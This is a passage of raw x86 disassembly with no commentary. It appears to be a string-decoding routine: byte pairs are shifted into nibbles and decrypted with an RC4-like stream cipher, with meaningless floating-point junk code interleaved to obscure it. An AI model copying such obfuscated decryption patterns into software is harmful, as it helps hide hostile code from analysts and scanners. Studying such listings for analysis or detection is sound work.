mov dword [ebp - 0x3598], edx
mov eax, dword [ebp - 0x35c0]
sub eax, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], eax
mov ecx, dword [ebp - 0x3598]
shl ecx, 4
mov dword [ebp - 0x3608], ecx
mov edx, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], edx
mov eax, dword [ebp - 0x3608]
or eax, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], eax
mov cl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], cl
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x32af], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x326b]
add eax, edx
mov byte [ebp - 0x326b], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp - 0x326b]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x326a]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32af]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x32af]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x32b0]
add eax, edx
mov byte [ebp - 0x32b0], al
movzx ecx, byte [ebp - 0x32ae]
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
xor ecx, eax
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3284]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
movzx edx, byte [ebp - 0x32b0]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp + eax - 0x4e7c]
xor ecx, edx
mov byte [ebp - 0x326a], cl
mov al, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], al
mov cl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], cl
cmp dword [ebp - 0x332c], 0
jle 0x43baf0
movsx dx, byte [ebp - 0x32ff]
mov eax, dword [ebp - 0x332c]
mov word [ebp + eax*2 - 0x2b2], dx
jmp 0x43b885
mov ecx, dword [ebp - 0x34a4]
add ecx, 1
mov dword [ebp - 0x34a4], ecx
mov edx, dword [ebp - 0x332c]
add edx, 1
mov dword [ebp - 0x332c], edx
mov eax, dword [ebp - 0x34a4]
add eax, 1
mov dword [ebp - 0x34a4], eax
mov ecx, dword [ebp - 0x332c]
shl ecx, 1
mov dword [ebp - 0x35fc], ecx
mov edx, dword [ebp - 0x3600]
add edx, dword [ebp - 0x35fc]
movzx eax, byte [edx]
mov dword [ebp - 0x358c], eax
mov dword [ebp - 0x3588], 0x8e
mov ecx, dword [ebp - 0x332c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3604], edx
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x3604]
movzx ecx, byte [eax]
mov dword [ebp - 0x35c0], ecx
mov dword [ebp - 0x35b8], 0x9f
mov edx, dword [ebp - 0x358c]
sub edx, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], edx
mov eax, dword [ebp - 0x35c0]
sub eax, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], eax
mov ecx, dword [ebp - 0x3598]
shl ecx, 4
mov dword [ebp - 0x3608], ecx
mov edx, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], edx
mov eax, dword [ebp - 0x3608]
or eax, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], eax
mov cl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], cl
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x32af], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x326b]
add eax, edx
mov byte [ebp - 0x326b], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp - 0x326b]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x326a]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32af]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x32af]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x32b0]
add eax, edx
mov byte [ebp - 0x32b0], al
movzx ecx, byte [ebp - 0x32ae]
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
xor ecx, eax
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3284]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
movzx edx, byte [ebp - 0x32b0]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp + eax - 0x4e7c]
xor ecx, edx
mov byte [ebp - 0x326a], cl
mov al, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], al
mov cl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], cl
cmp dword [ebp - 0x332c], 0
jle 0x43bd5d
movsx dx, byte [ebp - 0x32ff]
mov eax, dword [ebp - 0x332c]
mov word [ebp + eax*2 - 0x2b2], dx
mov ecx, dword [ebp - 0x332c]
add ecx, 1
mov dword [ebp - 0x332c], ecx
mov edx, dword [ebp - 0x34a4]
add edx, 1
mov dword [ebp - 0x34a4], edx
mov eax, dword [ebp - 0x332c]
shl eax, 1
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x3600]
add ecx, dword [ebp - 0x35fc]
movzx edx, byte [ecx]
mov dword [ebp - 0x358c], edx
mov dword [ebp - 0x3588], 0x8e
mov eax, dword [ebp - 0x332c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3604], ecx
mov edx, dword [ebp - 0x3600]
add edx, dword [ebp - 0x3604]
movzx eax, byte [edx]
mov dword [ebp - 0x35c0], eax
mov dword [ebp - 0x35b8], 0x9f
mov ecx, dword [ebp - 0x358c]
sub ecx, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], ecx
mov edx, dword [ebp - 0x35c0]
sub edx, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], edx
mov eax, dword [ebp - 0x3598]
shl eax, 4
mov dword [ebp - 0x3608], eax
mov ecx, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], ecx
mov edx, dword [ebp - 0x3608]
or edx, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], edx
movss xmm0, dword [0xa67308]
movss dword [ebp - 0x49b4], xmm0
movss xmm0, dword [0xa6727c]
movss dword [ebp - 0x4150], xmm0
movss xmm0, dword [0xa671e0]
movss dword [ebp - 0x4380], xmm0
movss xmm0, dword [0xa67168]
movss dword [ebp - 0x414c], xmm0
movss xmm0, dword [0xa670e4]
movss dword [ebp - 0x441c], xmm0
movss xmm0, dword [0xa67058]
movss dword [ebp - 0x3da4], xmm0
movss xmm0, dword [0xa66fcc]
movss dword [ebp - 0x3c40], xmm0
movss xmm0, dword [ebp - 0x414c]
addss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x414c], xmm0
movss xmm0, dword [ebp - 0x441c]
subss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x441c], xmm0
movss xmm0, dword [ebp - 0x4150]
mulss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x4150], xmm0
movss xmm0, dword [ebp - 0x49b4]
mulss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x49b4], xmm0
movss xmm0, dword [ebp - 0x4150]
mulss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x4150], xmm0
movss xmm0, dword [ebp - 0x4380]
mulss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x4380], xmm0
movss xmm0, dword [ebp - 0x4150]
addss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x4150], xmm0
movss xmm0, dword [ebp - 0x3c40]
comiss xmm0, dword [ebp - 0x4150]
jbe 0x43c002
movss xmm0, dword [ebp - 0x4380]
subss xmm0, dword [ebp - 0x414c]
movss dword [ebp - 0x4380], xmm0
movss xmm0, dword [ebp - 0x414c]
mulss xmm0, dword [ebp - 0x441c]
movss dword [ebp - 0x414c], xmm0
movss xmm0, dword [ebp - 0x49b4]
divss xmm0, dword [ebp - 0x4150]
movss dword [ebp - 0x49b4], xmm0
movss xmm0, dword [ebp - 0x414c]
divss xmm0, dword [ebp - 0x441c]
movss dword [ebp - 0x414c], xmm0
movss xmm0, dword [ebp - 0x4380]
mulss xmm0, dword [ebp - 0x414c]
movss dword [ebp - 0x4380], xmm0
movss xmm0, dword [ebp - 0x3da4]
divss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x3da4], xmm0
movss xmm0, dword [ebp - 0x414c]
subss xmm0, dword [ebp - 0x441c]
movss dword [ebp - 0x414c], xmm0
jmp 0x43c0b6
movss xmm0, dword [ebp - 0x4150]
mulss xmm0, dword [ebp - 0x4380]
movss dword [ebp - 0x4150], xmm0
movss xmm0, dword [ebp - 0x3da4]
mulss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x3da4], xmm0
movss xmm0, dword [ebp - 0x3da4]
subss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x3da4], xmm0
movss xmm0, dword [ebp - 0x3da4]
mulss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x3da4], xmm0
movss xmm0, dword [ebp - 0x3da4]
subss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x3da4], xmm0
movss xmm0, dword [ebp - 0x3da4]
addss xmm0, dword [ebp - 0x3c40]
movss dword [ebp - 0x3da4], xmm0
movss xmm0, dword [ebp - 0x441c]
subss xmm0, dword [ebp - 0x3da4]
movss dword [ebp - 0x441c], xmm0
mov al, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], al
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + ecx - 0x4e7c]
mov byte [ebp - 0x32af], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp - 0x326b]
add edx, ecx
mov byte [ebp - 0x326b], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x326b]
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp - 0x326b]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326a]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32af]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x32af]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp - 0x32b0]
add edx, ecx
mov byte [ebp - 0x32b0], dl
movzx eax, byte [ebp - 0x32ae]
movzx ecx, byte [ebp - 0x326b]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4e7c]
xor eax, edx
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx ecx, byte [ebp - 0x3284]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
movzx ecx, byte [ebp - 0x32b0]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp + edx - 0x4e7c]
xor eax, ecx
mov byte [ebp - 0x326a], al
mov dl, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], dl
mov al, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], al
cmp dword [ebp - 0x332c], 0
jle 0x43c239
movsx cx, byte [ebp - 0x32ff]
mov edx, dword [ebp - 0x332c]
mov word [ebp + edx*2 - 0x2b2], cx
mov eax, dword [ebp - 0x34a4]
add eax, 0xe
mov dword [ebp - 0x34a4], eax
mov ecx, dword [ebp - 0x332c]
add ecx, 1
mov dword [ebp - 0x4c20], ecx
jmp 0x43c268
mov edx, dword [ebp - 0x4c20]
add edx, 1
mov dword [ebp - 0x4c20], edx
mov eax, dword [ebp - 0x4c20]
cmp eax, dword [ebp - 0x34a4]
jge 0x43c775
mov ecx, dword [ebp - 0x332c]
add ecx, 1
mov dword [ebp - 0x332c], ecx
mov edx, dword [ebp - 0x332c]
shl edx, 1
mov dword [ebp - 0x35fc], edx
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x35fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x358c], ecx
mov dword [ebp - 0x3588], 0x8e
mov edx, dword [ebp - 0x332c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3600]
add ecx, dword [ebp - 0x3604]
movzx edx, byte [ecx]
mov dword [ebp - 0x35c0], edx
movss xmm0, dword [0xa672c8]
movss dword [ebp - 0x3b3c], xmm0
movss xmm0, dword [0xa671dc]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [0xa6710c]
movss dword [ebp - 0x3ee4], xmm0
movss xmm0, dword [0xa67020]
movss dword [ebp - 0x3674], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
addss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3ee4]
subss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x3ee4], xmm0
movss xmm0, dword [ebp - 0x34b0]
addss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3ee4]
comiss xmm0, dword [ebp - 0x34b0]
jbe 0x43c525
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3ee4]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3b3c]
addss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3b3c], xmm0
movss xmm0, dword [ebp - 0x3674]
divss xmm0, dword [ebp - 0x3b3c]
movss dword [ebp - 0x3674], xmm0
movss xmm0, dword [ebp - 0x3ee4]
mulss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x3ee4], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3ee4]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3b3c]
mulss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3b3c], xmm0
movss xmm0, dword [ebp - 0x3ee4]
divss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x3ee4], xmm0
movss xmm0, dword [ebp - 0x3674]
divss xmm0, dword [ebp - 0x3b3c]
movss dword [ebp - 0x3674], xmm0
movss xmm0, dword [ebp - 0x34b0]
comiss xmm0, dword [ebp - 0x3674]
jbe 0x43c4c3
movss xmm0, dword [ebp - 0x3674]
divss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3674], xmm0
movss xmm0, dword [ebp - 0x3b3c]
subss xmm0, dword [ebp - 0x3ee4]
movss dword [ebp - 0x3b3c], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3674]
addss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3674], xmm0
jmp 0x43c523
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
mulss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3b3c]
addss xmm0, dword [ebp - 0x3ee4]
movss dword [ebp - 0x3b3c], xmm0
movss xmm0, dword [ebp - 0x34b0]
divss xmm0, dword [ebp - 0x3674]
movss dword [ebp - 0x34b0], xmm0
jmp 0x43c58f
movss xmm0, dword [ebp - 0x3b3c]
addss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3b3c], xmm0
movss xmm0, dword [ebp - 0x3674]
addss xmm0, dword [ebp - 0x3b3c]
movss dword [ebp - 0x3674], xmm0
movss xmm0, dword [ebp - 0x34b0]
mulss xmm0, dword [ebp - 0x3ee4]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3b3c]
addss xmm0, dword [ebp - 0x34b0]
movss dword [ebp - 0x3b3c], xmm0
mov dword [ebp - 0x35b8], 0x9f
mov eax, dword [ebp - 0x358c]
sub eax, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], eax
mov ecx, dword [ebp - 0x35c0]
sub ecx, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], ecx
mov edx, dword [ebp - 0x3598]
shl edx, 4
mov dword [ebp - 0x3608], edx
mov eax, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], eax
mov ecx, dword [ebp - 0x3608]
or ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], ecx
mov dl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], dl
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + eax - 0x4e7c]
mov byte [ebp - 0x32af], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x326b]
add ecx, eax
mov byte [ebp - 0x326b], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp - 0x326b]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32af]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x32af]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x32b0]
add ecx, eax
mov byte [ebp - 0x32b0], cl
movzx edx, byte [ebp - 0x32ae]
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
xor edx, ecx
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3284]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
movzx eax, byte [ebp - 0x32b0]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp + ecx - 0x4e7c]
xor edx, eax
mov byte [ebp - 0x326a], dl
mov cl, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], cl
mov dl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], dl
cmp dword [ebp - 0x332c], 0
jle 0x43c770
movsx ax, byte [ebp - 0x32ff]
mov ecx, dword [ebp - 0x332c]
mov word [ebp + ecx*2 - 0x2b2], ax
jmp 0x43c259
mov edx, dword [ebp - 0x34a4]
add edx, 1
mov dword [ebp - 0x34a4], edx
mov eax, dword [ebp - 0x332c]
add eax, 1
mov dword [ebp - 0x332c], eax
mov ecx, dword [ebp - 0x34a4]
add ecx, 1
mov dword [ebp - 0x34a4], ecx
mov edx, dword [ebp - 0x332c]
shl edx, 1
mov dword [ebp - 0x35fc], edx
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x35fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x358c], ecx
mov dword [ebp - 0x3588], 0x8e
movsd xmm0, qword [0xa66f70]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [0xa66da0]
movsd qword [ebp - 0x40bc], xmm0
movsd xmm0, qword [0xa66a58]
movsd qword [ebp - 0x4430], xmm0
movsd xmm0, qword [ebp - 0x3ff8]
mulsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x3ff8]
subsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x3ff8]
mulsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x4430]
comisd xmm0, xmmword [ebp - 0x3ff8]
jbe 0x43c993
movsd xmm0, qword [ebp - 0x40bc]
mulsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x40bc], xmm0
movsd xmm0, qword [ebp - 0x3ff8]
subsd xmm0, qword [ebp - 0x40bc]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x4430]
divsd xmm0, qword [ebp - 0x3ff8]
movsd qword [ebp - 0x4430], xmm0
movsd xmm0, qword [ebp - 0x3ff8]
subsd xmm0, qword [ebp - 0x40bc]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x40bc]
addsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x40bc], xmm0
movsd xmm0, qword [ebp - 0x40bc]
divsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x40bc], xmm0
movsd xmm0, qword [ebp - 0x4430]
comisd xmm0, xmmword [ebp - 0x3ff8]
jbe 0x43c949
movsd xmm0, qword [ebp - 0x3ff8]
subsd xmm0, qword [ebp - 0x40bc]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x40bc]
mulsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x40bc], xmm0
movsd xmm0, qword [ebp - 0x3ff8]
divsd xmm0, qword [ebp - 0x40bc]
movsd qword [ebp - 0x3ff8], xmm0
jmp 0x43c991
movsd xmm0, qword [ebp - 0x3ff8]
subsd xmm0, qword [ebp - 0x40bc]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x3ff8]
mulsd xmm0, qword [ebp - 0x40bc]
movsd qword [ebp - 0x3ff8], xmm0
movsd xmm0, qword [ebp - 0x40bc]
divsd xmm0, qword [ebp - 0x4430]
movsd qword [ebp - 0x40bc], xmm0
jmp 0x43c9eb
movsd xmm0, qword [ebp - 0x40bc]
subsd xmm0, qword [ebp - 0x3ff8]
movsd qword [ebp - 0x40bc], xmm0
movsd xmm0, qword [ebp - 0x4430]
mulsd xmm0, qword [ebp - 0x40bc]
movsd qword [ebp - 0x4430], xmm0
movsd xmm0, qword [ebp - 0x40bc]
subsd xmm0, qword [ebp - 0x3ff8]
movsd qword [ebp - 0x40bc], xmm0
mov edx, dword [ebp - 0x332c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3600]
add ecx, dword [ebp - 0x3604]
movzx edx, byte [ecx]
mov dword [ebp - 0x35c0], edx
mov dword [ebp - 0x35b8], 0x9f
mov eax, dword [ebp - 0x358c]
sub eax, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], eax
mov ecx, dword [ebp - 0x35c0]
sub ecx, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], ecx
mov edx, dword [ebp - 0x3598]
shl edx, 4
mov dword [ebp - 0x3608], edx
mov eax, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], eax
mov ecx, dword [ebp - 0x3608]
or ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], ecx
mov dl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], dl
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + eax - 0x4e7c]
mov byte [ebp - 0x32af], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x326b]
add ecx, eax
mov byte [ebp - 0x326b], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp - 0x326b]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32af]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x32af]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x32b0]
add ecx, eax
mov byte [ebp - 0x32b0], cl
movzx edx, byte [ebp - 0x32ae]
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
xor edx, ecx
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3284]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
movzx eax, byte [ebp - 0x32b0]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp + ecx - 0x4e7c]
xor edx, eax
mov byte [ebp - 0x326a], dl
mov cl, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], cl
mov dl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], dl
cmp dword [ebp - 0x332c], 0
jle 0x43cbeb
movsx ax, byte [ebp - 0x32ff]
mov ecx, dword [ebp - 0x332c]
mov word [ebp + ecx*2 - 0x2b2], ax
mov edx, dword [ebp - 0x332c]
add edx, 1
mov dword [ebp - 0x332c], edx
mov eax, dword [ebp - 0x34a4]
add eax, 1
mov dword [ebp - 0x34a4], eax
mov ecx, dword [ebp - 0x332c]
shl ecx, 1
mov dword [ebp - 0x35fc], ecx
mov edx, dword [ebp - 0x3600]
add edx, dword [ebp - 0x35fc]
movzx eax, byte [edx]
mov dword [ebp - 0x358c], eax
mov dword [ebp - 0x3588], 0x8e
mov ecx, dword [ebp - 0x332c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3604], edx
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x3604]
movzx ecx, byte [eax]
mov dword [ebp - 0x35c0], ecx
mov dword [ebp - 0x35b8], 0x9f
mov edx, dword [ebp - 0x358c]
sub edx, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], edx
mov eax, dword [ebp - 0x35c0]
sub eax, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], eax
mov ecx, dword [ebp - 0x3598]
shl ecx, 4
mov dword [ebp - 0x3608], ecx
movsd xmm0, qword [0xa66f98]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [0xa66f08]
movsd qword [ebp - 0x43c8], xmm0
movsd xmm0, qword [0xa66e40]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [0xa66cd0]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [0xa66b60]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [0xa669e0]
movsd qword [ebp - 0x381c], xmm0
